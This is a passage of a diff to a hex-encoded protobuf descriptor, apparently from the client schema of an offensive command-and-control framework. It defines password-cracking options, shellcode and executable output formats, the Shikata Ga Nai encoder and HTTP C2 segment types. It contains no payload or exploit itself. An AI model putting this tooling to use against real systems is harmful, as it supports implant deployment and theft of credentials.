0x0f, 0x57, + 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, + 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, + 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, + 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, + 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, + 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, + 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, + 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, + 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, + 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, + 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, + 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, - 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, - 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, - 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, - 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, - 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, - 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, - 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, - 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, - 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, - 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, - 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, - 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, - 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, - 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, - 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, - 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, - 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, - 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, - 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, - 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, - 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, - 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, - 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, - 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, - 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, - 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, - 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, - 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, - 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, - 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, - 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, - 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, - 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x51, 0x0a, 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, - 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a, - 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, - 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09, - 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e, - 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, - 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41, - 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a, - 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, - 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, - 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, - 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, - 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, - 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, - 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, - 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, - 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, - 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, - 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, - 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, - 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x35, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50, - 0x4f, 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, - 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13, - 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, - 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, - 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, - 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, - 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, - 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, - 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, - 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 